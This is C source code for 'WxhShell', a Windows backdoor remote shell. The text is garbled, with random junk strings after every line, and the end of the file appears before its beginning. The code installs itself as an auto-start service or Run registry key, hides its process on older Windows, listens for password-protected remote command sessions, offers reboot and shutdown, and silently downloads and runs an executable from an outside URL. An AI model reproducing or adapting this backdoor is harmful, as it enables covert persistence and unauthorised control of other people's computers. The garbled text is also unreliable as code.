ULONG UniqueProcessId; ]U)Yg
ULONG InheritedFromUniqueProcessId; VVDd39q
} PROCESS_BASIC_INFORMATION; qCku
q
ud:5_*
PROCNTQSIP NtQueryInformationProcess; |%c"Avc
mPS27z(
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .<kbYo:MV
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7dtkylW
s2t9+ZA+s
HANDLE hProcess; Uy5G,!
PROCESS_BASIC_INFORMATION pbi; ]@9ZUtU,;N
0mi$_Ld+
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o2e gNTG
if(NULL == hInst ) return 0; 6Us*zKgW
U3b&/z|b?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }?^5L7n
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b&\f 8xZ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {'$+?V"&
rs+
["h
if (!NtQueryInformationProcess) return 0; )H|cri~D
= &"x6F.`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t)4AQ
if(!hProcess) return 0; F0]xc
>N8*O3
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gjDxgNpa
/YHAU5N/}
CloseHandle(hProcess); =Cg1I\
bTbF
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~x6<A\
if(hProcess==NULL) return 0; pUD(5v*0R
()o[(Hx+ph
HMODULE hMod; r%412#
char procName[255]; ViYfK7Z
unsigned long cbNeeded; Vh'H =J
SBh"^q
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U2vM|7]VP
X(JE]6_
CloseHandle(hProcess); <tto8Y
j
N977F$Bo
if(strstr(procName,"services")) return 1; // 以服务启动 UWo*%&J
GvI8W)d3,R
return 0; // 注册表启动 PB?92py&
} W@FSQ8b>$m
#bwGDF
// 主模块 lFZl}x
int StartWxhshell(LPSTR lpCmdLine) xZ(ryE%
{ ><i: P*ht
SOCKET wsl; l?)!^}Qc
BOOL val=TRUE; Kn,td:(
int port=0; 14z
?X%
struct sockaddr_in door; 0S2/,[-u+
K7c[bhi_w
if(wscfg.ws_autoins) Install(); j06qr\Es
w9TE E,t;5
port=atoi(lpCmdLine); Znd ,FqHk
zyP9
n[eZ
if(port<=0) port=wscfg.ws_port; &>P<Zw-
UU*v5&
WSADATA data; dCpDA a3
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gfJHB3@
2;ju/9x
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Q)Q1a;o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t W}"PKv
door.sin_family = AF_INET; #\Zr$?t|V
door.sin_addr.s_addr = inet_addr("127.0.0.1"); eI,H
door.sin_port = htons(port); 2{<o1x,Ym
\![ p-mW{
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q?>DbT6
closesocket(wsl); 7#(0GZN9h%
return 1; DM,)nh6'
} kgh0
s;cGf+
if(listen(wsl,2) == INVALID_SOCKET) { K5^`,}Q^
closesocket(wsl); "p]!="\
return 1; 7~Z(dTdSG
} (0E<Fz
V
Wxhshell(wsl); U^8S@#1Q
WSACleanup(); jss.j~8
}0,dG4Oo=
return 0; 7n,=`0{r
mDx=n.lIz
} 055C1RV%
![9$ru
// 以NT服务方式启动 [}!0PN?z~A
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6aLRnH"Ud
{ ^?NLA&v<
DWORD status = 0; AuT:snCzR
DWORD specificError = 0xfffffff; ]>B4
8([ MR
serviceStatus.dwServiceType = SERVICE_WIN32; c:aW"U
serviceStatus.dwCurrentState = SERVICE_START_PENDING; C8x9 Jrc
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QP/ZD|/ t1
serviceStatus.dwWin32ExitCode = 0; cn: L]%<
serviceStatus.dwServiceSpecificExitCode = 0; nyetK
serviceStatus.dwCheckPoint = 0; 3Ak'Ue
serviceStatus.dwWaitHint = 0; #p
;O3E@
jZD)c_'U
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z~F*$jn
if (hServiceStatusHandle==0) return; H:S<O%f
]
n\]ao
status = GetLastError(); `hdN 6PgK
if (status!=NO_ERROR) }?o4MiLB
{ '{-Ic?F<P
serviceStatus.dwCurrentState = SERVICE_STOPPED; W-*HAS
serviceStatus.dwCheckPoint = 0; nxB[To*P
serviceStatus.dwWaitHint = 0; .yDGw Lry
serviceStatus.dwWin32ExitCode = status; /b\c<'3NY
serviceStatus.dwServiceSpecificExitCode = specificError; `~z[Hj=2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zhJ0to[%?
return; m/"([Y_
} Zrp-Hv27,,
2Z5_@Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?GlXxx=eV
serviceStatus.dwCheckPoint = 0; c8Q}m(bhWI
serviceStatus.dwWaitHint = 0; A{e>7Z72
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qV;I<AM
} 9J?lNq
/EG'I{oC
// 处理NT服务事件,比如:启动、停止 o".,JnbXl
VOID WINAPI NTServiceHandler(DWORD fdwControl) '4_c;](W
{ 8
/%{xB^
switch(fdwControl) w51l;2$des
{ U>OAtiq JX
case SERVICE_CONTROL_STOP: cK >^8T^
serviceStatus.dwWin32ExitCode = 0; =Z{jc
serviceStatus.dwCurrentState = SERVICE_STOPPED; R$+p4@?S
serviceStatus.dwCheckPoint = 0; qZ4))X
serviceStatus.dwWaitHint = 0; +xvn n
{ ^Ua6.RH8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e`:^7$
} z1]nC]2
return; P@f#DX
)
case SERVICE_CONTROL_PAUSE: fERO(o
serviceStatus.dwCurrentState = SERVICE_PAUSED; 1=7ASS9
break; U1HG{u,"y
case SERVICE_CONTROL_CONTINUE: iPkCuLQ}
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]Vmo>
break; '
,S}X\
case SERVICE_CONTROL_INTERROGATE: &q@brX<,=
break; 22=sh;y+2
}; -jy0Kl/p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fe4>G8uuwn
} ":vEWp+g
.izq}q*P
// 标准应用程序主函数 #\`kg#&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A*wf:
mW0c
{ wMj#.Jh
]ly" K!1,
// 获取操作系统版本 GGhk~H4OP
OsIsNt=GetOsVer(); i#hFpZ6u
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~!!\#IX
dJ
m9''T')
// 从命令行安装 ~D>pu%F
if(strpbrk(lpCmdLine,"iI")) Install(); KX]!yA
g&y^ r/
// 下载执行文件 Eh ";irE
if(wscfg.ws_downexe) { $xbW*w
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k}Q<#
WinExec(wscfg.ws_filenam,SW_HIDE); I8j:{*h
} kaXq.
W>i"p~!
if(!OsIsNt) { /.<v,CR
// 如果时win9x,隐藏进程并且设置为注册表启动 Y#XRn_2D
HideProc(); ~mARgv
StartWxhshell(lpCmdLine); AB`.K{h
} ~r!(V;k{
else *<!q@r<d
if(StartFromService()) &H]/'i-
// 以服务方式启动 XC)9aC@s
StartServiceCtrlDispatcher(DispatchTable); e1LIk1`p
else i/%lB
// 普通方式启动 y/c3x*l.xL
StartWxhshell(lpCmdLine); <JH,B91
4&;iORw&E4
return 0; BhzD V
} <y] 67:"<v
|:&6eDlR
flo$[]`.7
$q)YC.5$
=========================================== %ACW"2#(
n)98NSVDbT
M|K^u.4
#YYJ4^":k
*H/3xPh,*
26rg-?;V^
" LCH\;07V#
DJL.P6 -W
#include <stdio.h> LWT\1#
#include <string.h>
]|.ked
#include <windows.h> 0DmA3
#include <winsock2.h> JiaR*3#
#include <winsvc.h> 14B',]`
#include <urlmon.h> oNyYx6q:Q
3X`9&0:j%
#pragma comment (lib, "Ws2_32.lib") v}6iI}r
#pragma comment (lib, "urlmon.lib") )x7n-|y6
0bDc
4m
#define MAX_USER 100 // 最大客户端连接数 B5;%R01A
#define BUF_SOCK 200 // sock buffer d"9tP&
Q
#define KEY_BUFF 255 // 输入 buffer >8"Svt$
**Ioy+
#define REBOOT 0 // 重启 hr
fF1
>A
#define SHUTDOWN 1 // 关机 GXVx/)H
vTO9XHc E
#define DEF_PORT 5000 // 监听端口 BsIF3sS#9
[~s+,OO9)
#define REG_LEN 16 // 注册表键长度 QDg5B6>$
#define SVC_LEN 80 // NT服务名长度 @@Ybg6.+*
N3|:MMl
// 从dll定义API )}`z<)3jP
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6iyl8uL0J
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #dWz,e3
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lj<TzPzg*
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P_1WJ
p2Ep(0w,R5
// wxhshell配置信息 G+8)a$?v
struct WSCFG { #T_!-;(Z
int ws_port; // 监听端口 AygdAg'\
char ws_passstr[REG_LEN]; // 口令 tb+gCs'D
int ws_autoins; // 安装标记, 1=yes 0=no Fvl\.
char ws_regname[REG_LEN]; // 注册表键名 T(D6'm:X
char ws_svcname[REG_LEN]; // 服务名 0!\C@wnH
char ws_svcdisp[SVC_LEN]; // 服务显示名 l/'GbuECm
char ws_svcdesc[SVC_LEN]; // 服务描述信息 1_]X
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \%a0Lp{ I
int ws_downexe; // 下载执行标记, 1=yes 0=no 89FAh6u E
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xxg|01
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V/ G1C^'/
.KA-=$~J1
}; [`\VgKeu
AOR?2u
// default Wxhshell configuration i<^X z
struct WSCFG wscfg={DEF_PORT, M%S7cIX
]F
"xuhuanlingzhe", )j36Y =r3
1, Vke<; k-
"Wxhshell", UA6id|G
"Wxhshell", IgX &aW
"WxhShell Service", U6M~N0)Yr
"Wrsky Windows CmdShell Service", OX7=g$S 1
"Please Input Your Password: ", Te+(7
Z
1, D;pI!S<#
"http://www.wrsky.com/wxhshell.exe", ccag8LC
"Wxhshell.exe" F/s
n"2
}; e'3V4iU]
~S8:xG+s
// 消息定义模块 8_('[89m
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R.^]{ 5
char *msg_ws_prompt="\n\r? for help\n\r#>"; {cXr!N^K
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z{rV|vQ
char *msg_ws_ext="\n\rExit."; y8k8Hd1<f
char *msg_ws_end="\n\rQuit."; 7}X1A!1
char *msg_ws_boot="\n\rReboot..."; %10ONe}
char *msg_ws_poff="\n\rShutdown..."; }nd>SK4
char *msg_ws_down="\n\rSave to "; >O-KJZ'GV
+8Lbz^#
char *msg_ws_err="\n\rErr!"; GTdoUSUq
char *msg_ws_ok="\n\rOK!"; %bi ie
{=Zy;Er
char ExeFile[MAX_PATH]; EqW~K@
int nUser = 0; JsJP%'^/R
HANDLE handles[MAX_USER]; #r'MfTr
int OsIsNt; >C|pY6
-5<[oBL;
SERVICE_STATUS serviceStatus; M =^d
SERVICE_STATUS_HANDLE hServiceStatusHandle; XGl2rX&
W+ S~__K
// 函数声明 +S4n416K
int Install(void); io4<HN
int Uninstall(void); )5}<@Ql
int DownloadFile(char *sURL, SOCKET wsh); V`I4"}M1
int Boot(int flag); \d@5*q
void HideProc(void); BHY8G06
int GetOsVer(void); b#_RZ
int Wxhshell(SOCKET wsl); Hl$W+e|tj
void TalkWithClient(void *cs); NrqJf-ldo
int CmdShell(SOCKET sock); <s9{o
uZ
int StartFromService(void); N:lfKI
int StartWxhshell(LPSTR lpCmdLine); {kpF etXt?
z?o8h
N\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;{ifLI0#
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s)1-xA{'.
=)Xj[NNRT
// 数据结构和表定义 g:Hj1!'
SERVICE_TABLE_ENTRY DispatchTable[] = 6("_}9ZOc
{ ?:"ABkL|+Y
{wscfg.ws_svcname, NTServiceMain}, yvd)pH<a2
{NULL, NULL} cC/h7odY
}; jWrU'X
T9nb ~P[
// 自我安装 _**Nlp*%
int Install(void) )~U1sW&t
{ 0kE[=#'.'
char svExeFile[MAX_PATH]; meX2Y;
HKEY key; x92^0cMf
strcpy(svExeFile,ExeFile); EvT$|#FY
n5}]C{s'
// 如果是win9x系统,修改注册表设为自启动 5u!\c(TJ+
if(!OsIsNt) { *vb"mB
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K\K& K~Z
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p<fCGU
RegCloseKey(key); sYKx3[ V/
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 +=sBk (
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cH5i420;aO
RegCloseKey(key); J K/{IkF
return 0; kdNo<x1o
} <`nShP>vl
} ^k6_j\5j
} L `1 ITz
else { !5ps,+o
Os9SfL
// 如果是NT以上系统,安装为系统服务 s)-oCT$[
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m{q'RAw
if (schSCManager!=0) (:l6R9'=
{ 5JzvT JMx
SC_HANDLE schService = CreateService n>'(d*[e&
( S=qh7ML
schSCManager, KFrsXf
wscfg.ws_svcname, $)M3fZ$#
wscfg.ws_svcdisp, )iN;1>
SERVICE_ALL_ACCESS, f}-'67*Y
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qAjtvc2
SERVICE_AUTO_START, SXL3>-Z E
SERVICE_ERROR_NORMAL, {$frR "K
svExeFile, 4"P9z}y=i
NULL, o 4F'z
NULL, MPB[~#:
NULL, 7b"fpB
NULL, |
eBwcC#^
NULL `J.,dqGb
); Sdq}?- &Sa
if (schService!=0) ^'X
I%fEf
{ MLDzWZ~}ef
CloseServiceHandle(schService); =KPmZ ,/w
CloseServiceHandle(schSCManager); w"R<8e=
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %-n)L
strcat(svExeFile,wscfg.ws_svcname); Xh"9Bcjf
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o#qdgZ
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <F9-$_m
RegCloseKey(key); x{R440"
return 0; j yHa}OT
} 7By7F:[ b
} ?|M-0{
CloseServiceHandle(schSCManager); v-8>@s jy8
} OUulG16kK
} x1gS^9MqCB
lSX1|,B7:]
return 1; L.;b(bFe
} E*'Y xI
Zmu
// 自我卸载 B}"R@;N
int Uninstall(void) i%i~qTN
{ opa/+V3E4
HKEY key; yy3rh(ea
I!/32* s1t
if(!OsIsNt) { YmljHQP
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O nXo0PV/(
RegDeleteValue(key,wscfg.ws_regname); o#m31*o
RegCloseKey(key); )LP'4*
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j7!u;K^c
RegDeleteValue(key,wscfg.ws_regname); A]bb*a1
RegCloseKey(key); do" m=y
return 0; vj?{={Y
} MIJuJ]U}
} Jn hdZa
} {~apY,3
else { r5j$FwY
G$C2?|V)=
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S1=P-Ao
if (schSCManager!=0) kK5&?)3Y:
{ fN2Sio:
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dgVGP_~
if (schService!=0) DAw1S$dM
{ BK!Yl\I<
if(DeleteService(schService)!=0) { &4%pPL\f
CloseServiceHandle(schService); dS1HA>c)O
CloseServiceHandle(schSCManager); *R6lK&
return 0; J4qk^1m.
} 5o6IpF0V
CloseServiceHandle(schService); hb3n-
rO
} k+_>`Gre}
CloseServiceHandle(schSCManager); O*N:A[eW
} ? 2}%Rb39
} S?v/diK ]J
H;`F}qQ3
return 1; l,|Llb
} CPZ{
SK}jhm"y
// 从指定url下载文件 Fo3*PcUv
int DownloadFile(char *sURL, SOCKET wsh) *~8F.cx
{ O?vh]o
HRESULT hr; Z}O]pm>=G
char seps[]= "/"; qGX@mo({
char *token; S257+ K9
char *file; O>)eir7
char myURL[MAX_PATH]; 5AT^puL]]
char myFILE[MAX_PATH]; s9C^Cy^su
0H_Ai=G
strcpy(myURL,sURL); qT?{}I
token=strtok(myURL,seps); P(PBOB97
while(token!=NULL) x(c+~4:_M
{ SGKAx<U
file=token; &YIL As^8A
token=strtok(NULL,seps); M~zI;:0O
} O/eZ1YAC
?;tPqOs&
GetCurrentDirectory(MAX_PATH,myFILE); 2P:X_:`~[
strcat(myFILE, "\\"); ->ZP.7
strcat(myFILE, file); s8
WB!x {t
send(wsh,myFILE,strlen(myFILE),0); Y%i<~"k
send(wsh,"...",3,0); 56C8)?
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mAlG}<
if(hr==S_OK) ij]UAJ}t
return 0; Dbn~~P
else e"866vc,
return 1; 1(;{w+nM
aQoB1qd8
} Q7x[08TI
{/noYB<;
// 系统电源模块 fV+a0=Z
int Boot(int flag) '6zZ`Ll9
{ hT^&